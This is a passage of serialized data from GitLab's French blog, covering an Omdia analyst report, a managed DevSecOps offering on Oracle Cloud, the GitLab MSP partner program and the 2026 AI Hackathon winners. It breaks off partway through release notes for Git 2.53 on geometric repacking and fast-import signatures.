pipeline](https://about.gitlab.com/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/). Le [tableau de bord d'impact de l'IA](https://docs.gitlab.com/user/analytics/duo_and_sdlc_trends/) offre aux équipes une visibilité mesurable sur les délais de cycle, la fréquence de déploiement et les domaines où l'IA fait réellement progresser la productivité des équipes.\n\nGitLab a également obtenu une reconnaissance de premier plan pour ses Fonctionnalités avancées (80 %) et l'Exécution fournisseur (88 %).\n\n## L'évolution du rôle des développeurs et des agents d'IA\n\nL'une des conclusions les plus significatives du rapport d'Omdia porte sur l'évolution du rôle du développeur logiciel aux côtés de ces outils. Les équipes de développement sont de plus en plus composées d'ingénieurs en IA et de leurs agents d'IA, les ingénieurs assurant la supervision et la direction de l'IA agentique. Étant donné que l'IA génère la majeure partie du code, le rôle des équipes se déplace désormais vers la vérification du respect des exigences technologiques, le contrôle de la qualité, la mise en place de garde-fous appropriés, la conception de pipelines de production autonomes et la médiation entre les objectifs métier et l'utilisation de l'IA agentique tout au long du cycle de développement logiciel.\n\nCette évolution a des implications sur la façon dont les organisations évaluent leurs investissements en matière d'IA. Une équipe qui a automatisé la génération de code mais qui gère encore manuellement la revue, les tests et le déploiement n'a pas encore véritablement accéléré son innovation logicielle. Le gain de productivité lié à un codage plus rapide s'amplifie lorsque le reste du cycle de vie peut suivre le rythme. Il se réduit dans le cas contraire, et les goulots d'étranglement se déplacent en aval.\n\n## La conformité aux exigences des entreprises comme prérequis\n\nUn point notable dans la manière dont Omdia a structuré son évaluation cette année : les contrôles et les garde-fous d'entreprise ne constituent plus une catégorie bonus. Les certifications de conformité, la flexibilité de déploiement et l'architecture axée sur la confidentialité sont désormais des attentes de base pour les plateformes classées Leader, et non des caractéristiques distinctives. Les organisations des secteurs réglementés et celles soumises à des exigences de souveraineté des données considèrent désormais ces facteurs comme des critères d'entrée.\n\nLa position de GitLab sur ces aspects met en évidence sa différenciation unique sur le marché : une plateforme certifiée SOC 2 et ISO 27001, une [conception axée sur la confidentialité](https://about.gitlab.com/fr-fr/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/) sans entraînement sur les données privées des clients pour ses capacités d'IA agentique, une prise en charge du déploiement auto-géré dans le cloud et sur site (y compris les environnements air-gapped), ainsi qu'une prise en charge des modèles d'IA auto-hébergés. Sa mise à disposition sous forme d'application SaaS monolocataire via [GitLab Dedicated](https://about.gitlab.com/fr-fr/dedicated/), avec l'autorisation FedRAMP Moderate via GitLab Dedicated for Government, renforce son leadership en matière de flexibilité de déploiement.\n\nLe rapport d'Omdia a reconnu ces éléments non pas comme une liste de fonctionnalités, mais comme la preuve de la maturité de la plateforme pour les organisations où le niveau d'exigence en matière de conformité est le plus élevé : [services financiers](https://about.gitlab.com/fr-fr/solutions/finance/), [secteur public](https://about.gitlab.com/fr-fr/solutions/public-sector/), santé et autres secteurs réglementés qui ne peuvent faire aucun compromis sur la résidence des données ou l'auditabilité.\n\n## Évaluez votre niveau de maturité en matière de développement logiciel\n\nPour les équipes qui évaluent activement leur stratégie de développement avec l'IA, la recommandation d'Omdia est claire : GitLab doit figurer en tête de liste.\n\nPour la plupart des responsables techniques, la vraie question n'est pas de savoir quel outil d'IA génère le meilleur code, mais si le code généré peut être mis en production avec le plus haut niveau de qualité, de sécurité et de performance. Ce code doit être compris, gouverné et maintenu par les équipes logicielles qui en sont responsables. Avec GitLab, la vitesse de codage se traduit par une accélération de l'innovation.\n\nSi vous souhaitez évaluer la maturité de votre organisation en matière de bonnes pratiques et d'évolution du développement logiciel, passez notre test et obtenez votre score personnalisé sur les thématiques suivantes : [IA](https://about.gitlab.com/fr-fr/assessments/ai-modernization-assessment/), [DevOps](https://about.gitlab.com/fr-fr/assessments/devops-modernization-assessment/) et [Sécurité](https://about.gitlab.com/fr-fr/assessments/security-modernization-assessment/).\n\n[Téléchargez le rapport complet Omdia Universe.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n","2026-04-14",[1091,550,872,767],"research",{"featured":13,"template":843,"slug":1093},"gitlab-named-a-2026-omdia-universe-leader",{"content":1095,"config":1107},{"title":1096,"authors":1097,"date":1102,"body":1103,"category":767,"tags":1104,"description":1105,"heroImage":1106},"DevSecOps-as-a-Service avec OCI et Data Intensity",[1098,1099,1100,1101],"Biju Thomas","Matt Genelin","Karishma Kumar","Ryan Palmaro","2026-03-05","Chez GitLab, nous savons que de nombreuses organisations choisissent [GitLab Self-Managed](https://about.gitlab.com/fr-fr/pricing/?deployment=self-managed-deployment) pour le contrôle, la personnalisation et la sécurité que cette version offre. Cependant, la gestion de l'infrastructure sous-jacente peut représenter un défi opérationnel important, en particulier pour les équipes qui souhaitent se concentrer sur la livraison de logiciels plutôt que sur la maintenance des plateformes.\n\nC'est pourquoi nous sommes ravis de collaborer avec [Oracle Cloud Infrastructure (OCI)](https://www.oracle.com/fr/cloud/) et [Data Intensity](https://www.dataintensity.com/services/security-services/devsecops/), un fournisseur de services gérés de confiance d'Oracle, en vue de proposer une nouvelle option de service géré, le DevSecOps-as-a-Service. Cette option réunit le meilleur des deux mondes : le contrôle offert par GitLab Self-Managed et la simplicité opérationnelle d'un service entièrement géré.\n\n## Pourquoi choisir GitLab Self-Managed ?\n\nAvec GitLab Self-Managed, vous bénéficiez d’une maîtrise totale de votre plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\"). Vous contrôlez l'emplacement de vos données, la configuration de votre instance, et pouvez la personnaliser pour répondre à des exigences spécifiques de conformité, de sécurité ou d’exploitation. Ce niveau de contrôle est essentiel pour les organisations avec des exigences réglementaires strictes, des besoins en matière de résidence des données ou des intégrations spécifiques.\n\nPour certains clients GitLab Self-Managed, la gestion des serveurs et des mises à niveau, le maintien d'une haute disponibilité et la mise en œuvre de la reprise après sinistre constituent des défis qui nécessitent une expertise spécialisée et des ressources dédiées.\n\n## Une transition facilitée vers GitLab Self-Managed\n\nLe DevSecOps-as-a-Service de Data Intensity sur OCI élimine ces contraintes opérationnelles tout en préservant les avantages de GitLab Self-Managed en matière de contrôle. Au lieu de construire et de maintenir vous-même votre infrastructure, vous bénéficiez d'une instance GitLab autonome gérée par l'équipe d'experts de Data Intensity, qui s'exécute sur l'infrastructure cloud haute performance d'OCI.\n\nVoici ce que cette offre inclut :\n\n* Instance GitLab autonome sur l'infrastructure OCI\n* Surveillance 24 h/24 et 7 j/7, alarmes et assistance\n* Correctifs trimestriels programmés pendant vos fenêtres de maintenance choisies\n* Sauvegardes automatisées et protection contre les sinistres\n\n## Évoluer avec votre organisation\n\nLe service géré de Data Intensity est conçu pour évoluer avec votre équipe : il offre plusieurs niveaux d'architecture adaptés à votre nombre d'utilisateurs et à vos exigences de récupération.\n\n| **Fonctionnalité**        | **Standard**    | **Premier**     | **Premier +**   |\n|--------------------|-----------------|-----------------|-----------------|\n| **Nombre d'utilisateurs**  | Jusqu'à 1 000     | Jusqu'à 2 000     | Jusqu'à 3 000     |\n| **Performances**    | 20 requêtes/sec | 40 requêtes/sec | 60 requêtes/sec |\n| **Disponibilité**   | 99,9 %           | 99,95 %          | 99,99 %          |\n| **Récupération (RTO)** | 48 heures        | 8 heures         | 4 heures         |\n\nConsultez le site web de Data Intensity pour en savoir plus sur le [DevSecOps-as-a-Service](https://www.dataintensity.com/services/security-services/devsecops/).\n\n## Pourquoi choisir OCI pour GitLab ?\nOracle Cloud Infrastructure fournit une base solide pour l'exécution de GitLab Self-Managed et offre un environnement sécurisé et hautement performant à un coût nettement inférieur à celui des autres hyperscalers. Les organisations qui migrent leurs charges de travail vers OCI enregistrent généralement des réductions de coûts d'infrastructure de 40 à 50 %, ce qui facilite le financement et la mise à l'échelle des déploiements.\n\nOCI prend en charge un large éventail de modèles de déploiement, des régions de cloud public aux environnements spécialisés (Government Cloud, EU Sovereign Cloud), ainsi que les infrastructures dédiées déployées derrière votre pare-feu. Ces options s'accompagnent d'une tarification, d'outils et d'une expérience opérationnelle cohérents, qui permettent aux équipes de standardiser les déploiements GitLab dans des environnements réglementés, hybrides et mondiaux.\n\nLa combinaison de la plateforme DevSecOps complète de GitLab, de l'infrastructure haute performance d'OCI et de l'expertise en services gérés de Data Intensity fournit une solution clé en main qui permet à vos équipes de se concentrer sur ce qui compte : créer des logiciels de qualité.\n\n## Cette solution est-elle adaptée à votre organisation ?\nOptez pour le DevSecOps-as-a-Service de Data Intensity si vous :\n* Souhaitez utiliser GitLab Self-Managed mais avez besoin de minimiser la charge opérationnelle.\n* Devez respecter des exigences spécifiques de conformité, de sécurité ou de résidence des données.\n* Avez besoin de SLA garantis et de capacités professionnelles de reprise après sinistre.\n* Préférez des coûts prévisibles et une gestion d'experts plutôt que de développer une expertise interne en matière d'infrastructure.\n* Utilisez déjà ou prévoyez d'utiliser OCI pour votre infrastructure cloud.\n* Privilégiez la flexibilité et le contrôle.\n* Souhaitez disposer d’une instance dédiée gérée en externe avec le contrôle d'un environnement auto-géré.\n\n## Lancez-vous dès aujourd’hui !\nLes organisations qui souhaitent exécuter GitLab Self-Managed sur OCI via le DevSecOps-as-a-Service de Data Intensity peuvent contacter Data Intensity sur leur [site web](https://www.dataintensity.com/services/security-services/devsecops/) pour discuter des exigences spécifiques et commencer la planification du déploiement.\n\nModerniser votre DevSecOps est plus simple que vous ne le pensez. Data Intensity propose une migration facultative des dépôts de code et des options de personnalisation pour assurer une transition en douceur vers OCI.\n\nAlors que GitLab continue de développer son écosystème de partenaires, des solutions comme celle-ci démontrent notre engagement à offrir aux organisations le choix dans la façon dont elles déploient et gèrent GitLab.",[259,872],"Adoptez GitLab Self-Managed, sans la charge opérationnelle. Data Intensity assure le DevSecOps-as-a-Service sur Oracle Cloud Infrastructure (OCI) : expertise, gestion et continuité d'activité incluses.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png",{"featured":13,"template":843,"slug":1108},"devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity",{"content":1110,"config":1118},{"title":1111,"description":1112,"authors":1113,"heroImage":1114,"date":1115,"body":1116,"category":767,"tags":1117},"Présentation du programme Managed Service Provider (MSP) de GitLab","Développez une approche DevSecOps rentable et axée sur les services, avec le soutien de GitLab.",[1100],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","2026-02-26","*Cet article s'adresse aux partenaires MSP qui souhaitent développer une pratique GitLab. Si vous êtes développeur ou responsable technique, ce programme peut aider les partenaires qui accompagnent des équipes comme la vôtre à évoluer plus rapidement.*\n\nDe nombreuses organisations savent qu'elles ont besoin d'une plateforme DevSecOps moderne, mais elles ne disposent pas toujours des ressources nécessaires pour déployer, gérer et optimiser continuellement une plateforme tout en livrant des logiciels au rythme exigé par leur activité. Il s'agit là d'une véritable opportunité pour les fournisseurs MSP, et GitLab propose désormais un programme dédié pour les soutenir.\n\nNous sommes ravis de présenter le **programme partenaire MSP de GitLab**, un nouveau programme mondial qui permet aux MSP qualifiés de proposer GitLab à leurs clients sous forme de service entièrement géré.\n\n## Pourquoi ce programme est-il important pour les partenaires et les clients ?\n\nPour la première fois, GitLab dispose d'un programme officiellement défini et disponible à l’échelle mondiale, spécialement conçu pour les MSP. Ce programme comprend des exigences claires, une mise en œuvre structurée, une assistance dédiée et de réels avantages financiers, afin que les partenaires puissent investir en toute confiance dans la mise en place d'une pratique de services gérés GitLab.\n\nCe programme arrive à point nommé. Les organisations accélèrent leur transition vers le [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"DevSecOps\"), mais nombre d'entre elles doivent gérer des migrations complexes, des chaînes d'outils disparates et des exigences de sécurité croissantes en plus de leur travail de création et de livraison de logiciels.\n\nLes partenaires MSP de GitLab gèrent l'aspect opérationnel de la plateforme, y compris le déploiement, la migration, l'administration et l'assistance continue, afin que les équipes de développement puissent se concentrer sur leur cœur de métier.\n\n## Avantages pour les partenaires MSP\n\n**Avantages financiers :** les partenaires MSP bénéficient des marges partenaires de GitLab ainsi que d'une prime MSP supplémentaire sur toutes les transactions, les nouveaux contrats et les renouvellements. Ils conservent également 100 % des frais de service facturés aux clients pour le déploiement, la migration, la formation, l'activation et le conseil stratégique.\n\n**Formation :** les partenaires ont accès à des bootcamps techniques trimestriels qui couvrent les mises à jour de version, les nouvelles fonctionnalités, les meilleures pratiques, les mises à jour continues de la roadmap et le partage entre pairs. Les certifications cloud recommandées (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) complètent la base technique.\n\n**Assistance à la commercialisation :** les MSP reçoivent un badge GitLab Certified MSP Partner, des ressources co-brandées, la possibilité de participer à des études de cas clients conjointes, une inscription au répertoire Partner Locator et l'accès à des fonds de développement marketing (MDF) pour les activités de génération de demande qualifiées.\n\n## Avantages pour les clients\n\nLes clients qui travaillent avec un partenaire MSP GitLab bénéficient d'une expérience DevSecOps structurée et gérée, de méthodologies de mise en œuvre documentées et reproductibles, d'examens réguliers de leurs activités et d'une assistance avec des procédures de réponse et d'escalade clairement définis.\n\nRésultat : les équipes de développement peuvent se concentrer sur la création de logiciels performants tandis que leur partenaire MSP gère l'exécution et l'optimisation de la plateforme.\n\n## L'IA, une nouvelle opportunité\n\nLes organisations cherchent de plus en plus à intégrer l'IA de manière sécurisée dans leurs workflows de développement logiciel, et même les équipes expérimentées peuvent bénéficier d'une approche structurée pour la déployer à grande échelle. Les partenaires MSP de GitLab sont bien placés pour guider les clients dans l'utilisation de GitLab Duo Agent Platform dans le cadre d'une offre plus large de services gérés.\n\nEn combinant la plateforme DevSecOps de GitLab avec l'expertise opérationnelle fournie par les MSP, les clients peuvent tester des workflows assistés par l'IA dans un environnement contrôlé, répondre aux exigences en matière de résidence des données et de conformité, et étendre l'adoption de l'IA à toutes les équipes sans surcharger les ressources internes.\n\n## Ce programme est-il adapté à mon entreprise ?\n\nLe programme partenaire MSP de GitLab est le choix idéal si vous :\n\n* Fournissez déjà des services gérés dans le cloud, des infrastructures ou des opérations applicatives.\n* Souhaitez ajouter une approche DevSecOps à forte valeur ajoutée à votre portefeuille.\n* Disposez ou souhaitez développer des talents techniques intéressés par les plateformes de développement modernes.\n* Préférez les relations clients à long terme aux transactions ponctuelles.\n\nSi vous êtes déjà un partenaire GitLab Select et Professional Services, le programme MSP vous offre un moyen structuré de transformer votre expertise en une offre gérée reproductible.\n\n## Commencez dès maintenant\n\nLe programme est lancé avec la désignation **Partenaire MSP certifié**. Il n'y a pas de minimum requis en matière de revenu annuel récurrent (ARR) ou de nombre de clients pour rejoindre le programme. \n\nVoici comment rejoindre le programme :\n\n1. **Confirmez les prérequis :** vérifiez que vous répondez aux exigences commerciales et techniques décrites dans notre [manuel](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program).\n2. **Postulez via le portail partenaire de GitLab :** envoyez les documents commerciaux et techniques requis.\n3. **Suivez la formation de 90 jours :** un parcours d'intégration structuré couvre les contrats, les compétences techniques, la formation commerciale et votre premier engagement client.\n4. **Lancez votre offre :** créez vos offres de services, définissez vos accords de niveau de service (SLA) et commencez à échanger avec les clients.\n\nLes candidatures complètes sont examinées dans un délai d'environ trois jours ouvrés.\n\n> Vous souhaitez développer une activité de services gérés GitLab ? Les nouveaux partenaires peuvent demander à [devenir partenaire GitLab](https://about.gitlab.com/fr-fr/partners/). Les partenaires existants peuvent contacter leur représentant GitLab pour en savoir plus sur le programme et nous faire part des solutions qu'ils proposent actuellement à leurs clients dans le cadre de leur activité MSP.\n",[550,767,259],{"featured":691,"template":843,"slug":1119},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"category":782,"slug":780,"posts":1121},[1122,1133,1145],{"content":1123,"config":1131},{"title":1124,"description":1125,"authors":1126,"heroImage":1128,"date":1007,"body":1129,"category":780,"tags":1130},"GitLab AI Hackathon 2026 : découvrez les gagnants","Près de 7 000 développeurs ont créé plus de 600 agents et flows d'IA sur GitLab Duo Agent Platform. Découvrez les gagnants et leurs projets.",[1127],"Nick Veenhof","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776457632/llddiylsgwuze0u1rjks.png","Il est désormais acquis que l'IA écrit du code. Mais qu'en est-il de la planification, de la sécurité, de la conformité et des déploiements ? Dans ces domaines, des lacunes persistent. Nous organisons des programmes de contribution depuis des années et n'avons jamais vu une communauté réagir à une technologie de cette manière.\n\nC'est pourquoi nous avons lancé [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) et invité des équipes de développement du monde entier à créer des agents d'IA qui aident les équipes à livrer des logiciels sécurisés plus rapidement. Pas des chatbots qui répondent à des questions, mais des agents qui s'intègrent dans les workflows, réagissent aux événements et agissent en votre nom. Le GitLab AI Hackathon 2026 s'est déroulé du 9 février au 25 mars 2026 sur Devpost, la plateforme dédiée aux hackathons. Google Cloud et Anthropic y ont participé en tant que co-sponsors.\n\nLorsque nous avons préparé ce hackathon avec Google Cloud et Anthropic, nous avons demandé aux juges d'évaluer quatre critères : la qualité technique, le design, l'impact potentiel et l'originalité de l'idée. Nous espérions une forte participation, mais les résultats nous ont tous surpris. Dix-neuf juges ont consacré 18 jours à examiner tous les projets. Google Cloud et Anthropic ont fourni les juges, les prix et un accès cloud. La communauté a créé des centaines d'agents et de flows afin de s'atteler aux lacunes mentionnées plus haut.\n\nPrès de 7 000 développeurs ont répondu à l'appel et créé plus de 600 agents et flows en quelques semaines. Les prix, toutes catégories confondues, totalisaient 65 000 dollars offerts par GitLab, Google Cloud et Anthropic.\n\n\nSi vous avez déjà vu un ingénieur senior quitter une équipe en emportant avec lui la moitié des connaissances de son équipe, vous comprendrez pourquoi le projet gagnant a autant marqué les esprits.\n\nPoursuivez votre lecture pour découvrir ce que les participants ont créé.\n\n## Premier prix : LORE\n\n[LORE](https://devpost.com/software/lore-living-organizational-record-engine), le Living Organizational Record Engine, utilise huit agents avec un routeur qui dirige chaque question vers l'agent approprié, une logique de prévention des boucles circulaires dans le graphe de connaissances, un tableau de bord visuel et un suivi de l'empreinte carbone. L'outil en ligne de commande est livré avec 43 tests (un chiffre inédit dans un projet de hackathon).\n\nLORE résout un problème concret : les connaissances des ingénieurs qui disparaissent lorsque ces derniers quittent l'entreprise. D'après notre expérience, un projet de hackathon avec 43 tests est rare. Un tel nombre en dit long sur l'équipe qui l'a conçu.\n\nApril Guo (Anthropic), membre du jury, a écrit : « On dirait un produit, pas un projet de hackathon. »\n\n\n### Gagnants Google Cloud\n\n[Gitdefender](https://devpost.com/software/gitdefender) a remporté le premier prix Google Cloud. L'outil s'intègre dans les workflows de revue de code afin de détecter et de corriger les vulnérabilités de sécurité. Il identifie les bogues, rédige des correctifs et ouvre la revue de code. Aucune intervention humaine n'est nécessaire.\n\n[Aegis](https://devpost.com/software/aegis-2m1oq0) a remporté le deuxième prix Google Cloud. L'outil fournit des explications assistées par l'IA pour chaque décision prise, qui est déployée sur Google Cloud et prête pour la production.\n\n### Gagnants Anthropic\n\n[GraphDev](https://devpost.com/software/graphdev) a remporté le premier prix Anthropic. L'outil cartographie les liens entre les éléments du code et montre comment les systèmes évoluent au fil du temps. Aboobacker MK (GitLab), membre du jury, a noté que le projet était « en phase avec notre travail sur le graphe de connaissances GitLab ». Ayush Billore (GitLab) a écrit : « J'ai adoré la démo et l'expérience utilisateur, un outil très utile pour comprendre comment le système a évolué et ce qui est impacté par les changements. » Vous pouvez visualiser l'impact complet d'une modification avant de l'autoriser.\n\n[DocSync](https://devpost.com/software/pipeheal) a remporté le deuxième prix Anthropic. L'outil utilise trois agents : Detector, Writer et Reviewer. Si DocSync a confiance dans le correctif, il ouvre une revue de code. Dans le cas contraire, il crée un ticket pour qu'un humain le vérifie.\n\n## Gagnants par catégorie\n\n### Projet le plus impressionnant sur le plan technique\n\nLes migrations de bases de données sont source de problèmes. [Time-Traveler](https://devpost.com/software/time-traveler-w3cxp0) crée une copie sécurisée de votre environnement de production, exécute la migration sur cette copie et génère un rapport. L'outil exécute cinq agents connectés par un pont, avec un déploiement réel sur Google Cloud, de véritables migrations PostgreSQL et des données réelles.\n\n### Projet avec le plus grand impact\n\n[RedAgent](https://devpost.com/software/redagent) vérifie les rapports de sécurité générés par l'IA et comble le fossé de confiance entre les résultats de l'IA et l'action des équipes de développement. Si votre équipe utilise l'IA pour les scans de sécurité, vous connaissez ce problème. Certaines équipes ignorent les résultats de l'IA parce qu'elles ne peuvent pas les vérifier. RedAgent offre aux équipes un moyen de valider les résultats de l'IA avant qu'ils ne parviennent aux équipes de développement.\n\n### Projet le plus facile à utiliser\n\n[Launch Control](https://devpost.com/software/launch-control-bgp8az) offre une expérience utilisateur soignée et une infrastructure solide, avec également de bons résultats en matière de durabilité.\n\n## Le signal de durabilité\n\nCinq projets ont remporté des prix ou des bonus pour leur impact environnemental. La livraison logicielle a un coût carbone lié aux pipelines CI/CD, et désormais les grands modèles de langage (LLM) consomment également des ressources de calcul à grande échelle. Nous avons créé la catégorie Green Agent pour inciter les équipes de développement à mesurer et réduire cette empreinte. Stacy Cline et Kim Buncle, de l'équipe durabilité de GitLab, ont participé au jury de la catégorie Green Agent.\n\n### Prix Green Agent\n\n[GreenPipe](https://devpost.com/software/greenpipe) analyse les pipelines CI/CD pour évaluer leur impact environnemental et produit des rapports d'empreinte carbone. Kim Buncle et Rajesh Agadi (Google), membres du jury, ont tous deux soutenu le projet.\n\n### Prix bonus consacrés au design durable\n\nLes prix bonus consacrés au design durable ont été attribués aux projets ayant adopté des pratiques de durabilité exceptionnelles dans leur conception, des techniques d'optimisation des modèles aux choix d'architecture écoénergétique.\n\n* [BugFlow](https://devpost.com/software/bugflow-ai-regression-detective-ci-optimizer) a transformé un rapport de bogue en 10 correctifs en 20 minutes.\n* [DELTA Cyber Reasoning](https://devpost.com/software/delta-cyber-reasoning-system) propose des tests à données aléatoires automatisés pour la sécurité.\n* [CarbonLint](https://devpost.com/software/carbonlint) applique l'analyse de code à la consommation énergétique.\n* [TFGuardian](https://devpost.com/software/tfguardian) intègre un analyseur d'empreinte carbone, entre autres agents.\n\nFélicitations à tous les lauréats des prix bonus consacrés au design durable !\n\nJens-Joris Decorte (TechWolf), membre du jury, a mentionné que les coûts étaient passés de 556 $ à 18 $ par mois, soit une réduction de 96 % de l'empreinte carbone (une économie mensuelle de 538 $ assortie d'un label de durabilité).\n\n## Mentions honorables et projets remarquables\n\nSix projets ont reçu des mentions honorables :\n\n\n- [SecurityMonkey](https://devpost.com/software/securitymonkey) injecte des vulnérabilités connues dans une branche de test et évalue la capacité de vos scanners de sécurité à les détecter.\n- [stregent](https://devpost.com/software/stregent) surveille les pipelines CI/CD et permet aux équipes de développement d'analyser et de fusionner des correctifs depuis WhatsApp, sans ouvrir un ordinateur portable.\n- [Compliance Sentinel](https://devpost.com/software/compliance-sentinel-autonomous-devsecops-governance) attribue un score de risque de conformité à chaque merge request et bloque le merge si des violations critiques sont détectées.\n- [Carbon Tracker](https://devpost.com/software/carbon-tracker-ij25kf) calcule l'empreinte carbone de chaque job de pipeline CI/CD et publie des conseils d'optimisation sur la merge request.\n- [RepoWarden](https://devpost.com/software/docuguard) est le premier Living Specification Engine, un système d'IA qui capture les raisons pour lesquelles le code a été écrit, et pas seulement ce qu'il fait.\n- [MR Compliance Auditor](https://devpost.com/software/mr-compliance-auditor) collecte des preuves à travers les merge requests, les associe aux contrôles SOC 2 et diffuse les scores de conformité sur un tableau de bord en temps réel.\n\nMa citation préférée du jury vient de Luca Chun Lun Lit (Anthropic), à propos de l'approche axée sur mobile de stregent : « Pouvoir coder depuis son téléphone représente un nouveau cap dans l'expérience d'ingénierie. »\n\n> Explorez les plus de 600 projets dans la [galerie de projets](https://gitlab.devpost.com/project-gallery).\n\n## Et ensuite ?\n\nChaque agent de ce hackathon fonctionnait au sein d'un seul projet. Les résultats obtenus étaient néanmoins impressionnants. Certains participants ont exécuté un graphe de connaissances local en parallèle de leurs agents pour faire émerger les relations et les dépendances au sein du dépôt. LORE capture l'historique du projet. Gitdefender détecte les vulnérabilités. Associer des agents à un contexte local plus riche aide déjà les contributeurs à créer des outils plus performants. Le prochain hackathon s'appuiera sur ce que les contributeurs font déjà avec un contexte enrichi. Inscrivez-vous sur [contributors.gitlab.com](https://contributors.gitlab.com/) pour être informé dès que les détails seront disponibles.\n\n\n## Lancez-vous\n\nUn grand merci à Lee Tickett (GitLab) et Mattias Michaux (GitLab) pour avoir guidé les innovateurs de ce hackathon !\n\nMerci à chaque développeur qui a soumis un projet. Près de 7 000 d'entre vous ont démontré ce que GitLab Duo Agent Platform peut accomplir lorsqu'une communauté décide de créer. Nous sommes fiers de ce que vous avez produit ici et avons hâte de voir ce que vous créerez ensuite.\n\nCréez votre propre agent sur [GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/). Parcourez les agents créés par la communauté dans le [catalogue d'IA](https://docs.gitlab.com/user/duo_agent_platform/ai_catalog/). Vous orchestrez les agents. L'IA accélère le développement.\n",[853,244],{"featured":691,"template":843,"slug":1132},"gitlab-ai-hackathon-2026-meet-the-winners",{"content":1134,"config":1143},{"tags":1135,"category":780,"body":1136,"date":1137,"heroImage":1138,"authors":1139,"description":1141,"title":1142},[967,1056,244],"Le projet Git a récemment publié [Git 2.53.0](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u). Passons en revue quelques points marquants de cette version, qui comprend des contributions de l'équipe Git chez GitLab.\n\n\n## Prise en charge du rempaquetage géométrique avec les dépôts distants promisor\n\n\nLes objets qui viennent d'être créés dans un dépôt Git sont souvent stockés sous forme de fichiers libres individuels. Pour garantir de bonnes performances et une utilisation optimale de l'espace disque, ces objets libres sont régulièrement compressés dans ce qu'on appelle des fichiers d'empaquetage (« packfiles »). Le nombre de fichiers d'empaquetage dans un dépôt augmente au fil du temps en raison des tâches effectuées, comme la création de nouveaux commits ou la récupération depuis un dépôt distant. À mesure que le nombre de fichiers d'empaquetage augmente dans un dépôt, Git doit effectuer davantage de travail pour rechercher des objets individuels. Par conséquent, pour préserver les performances optimales du dépôt, les fichiers d'empaquetage sont périodiquement rempaquetés via git-repack(1) afin de consolider les objets dans un nombre réduit de fichiers d'empaquetage. Lors du rempaquetage, deux stratégies existent : « tout-en-un » et « géométrique ».\n\n\nLa stratégie tout-en-un est assez simple et constitue la stratégie par défaut actuelle. Comme son nom l'indique, tous les objets du dépôt sont empaquetés dans un seul fichier. Cette approche est idéale pour le dépôt d'un point de vue des performances, car Git n'a besoin de parcourir qu'un seul fichier d'empaquetage lors de la recherche d'objets. Le principal inconvénient ? Le calcul d'un fichier d'empaquetage unique pour un dépôt peut prendre beaucoup de temps en cas de dépôt volumineux.\n\n\nLa stratégie géométrique permet d'atténuer ce problème en maintenant une progression géométrique des fichiers d'empaquetage en fonction de leur taille, au lieu de toujours rempaqueter dans un seul fichier. Lors du rempaquetage, Git maintient un ensemble de fichiers d'empaquetage classés par taille, où chaque fichier de la séquence doit avoir au moins deux fois la taille du fichier d'empaquetage précédent. Si un fichier d'empaquetage de la séquence enfreint cette propriété, les fichiers d'empaquetage sont combinés selon les besoins jusqu'à ce que la progression soit rétablie. Cette stratégie permet de limiter le nombre de fichiers d'empaquetage dans un dépôt tout en minimisant également la quantité de travail à effectuer pour la plupart des opérations de rempaquetage.\n\n\nToutefois, la stratégie de rempaquetage géométrique n'était pas compatible avec les clones partiels. Ces derniers permettent de cloner uniquement certaines parties d'un dépôt (par exemple en ignorant tous les blobs de plus de 1 mégaoctet). Cette approche peut réduire considérablement la taille d'un dépôt, et Git sait comment récupérer les objets manquants auxquels il doit accéder ultérieurement.\n\n\nRésultat : nous obtenons un dépôt dans lequel il manque certains objets. Tout objet qui pourrait ne pas être entièrement connecté est stocké dans un fichier d'empaquetage « promisor ». Lors du rempaquetage, cette propriété promisor doit être conservée pour les fichiers d'empaquetage contenant un objet promisor, afin qu'il soit possible de déterminer si un objet manquant est attendu et peut être récupéré depuis le dépôt distant promisor. Avec une stratégie de rempaquetage tout-en-un, Git sait gérer correctement les objets promisor et les stocke dans un fichier d'empaquetage promisor distinct. Malheureusement, la stratégie de rempaquetage géométrique ne savait pas comment accorder un traitement spécial aux fichiers d'empaquetage promisor et les fusionnait avec des fichiers d'empaquetage normaux sans tenir compte de la présence d'objets promisor. Heureusement, en raison d'un bogue, la commande git-pack-objects(1) sous-jacente échoue lors de l'utilisation du rempaquetage géométrique dans un dépôt de clone partiel. Les dépôts dans cette configuration ne pouvaient donc de toute façon pas être rempaquetés. Ce n'est pas idéal, mais c'est un résultat préférable à une corruption du dépôt.\n\n\nAvec la sortie de Git 2.53, le rempaquetage géométrique fonctionne désormais avec les dépôts de clones partiels. Lors d'un rempaquetage géométrique, les fichiers d'empaquetage promisor sont gérés séparément afin de préserver le marqueur promisor et sont rempaquetés selon une progression géométrique distincte. Avec ce correctif, la stratégie géométrique suit une progression logique en vue de s'imposer comme la stratégie de rempaquetage par défaut. Pour plus d'informations, consultez le [fil de discussion de la liste de diffusion](https://lore.kernel.org/git/20260105-pks-geometric-repack-with-promisors-v1-0-c4660573437e@pks.im/) correspondant.\n\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n\n## git-fast-import(1) : préservation des signatures valides uniquement\n\n\nDans notre [article de blog consacré à la version Git 2.52](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-52-0/), nous avons abordé les améliorations liées aux signatures apportées à git-fast-import(1) et git-fast-export(1). Consultez cet article pour une explication plus détaillée de ces commandes, de leur utilisation et des modifications apportées concernant les signatures.\n\n\nPour résumer brièvement, git-fast-import(1) fournit un backend qui permet 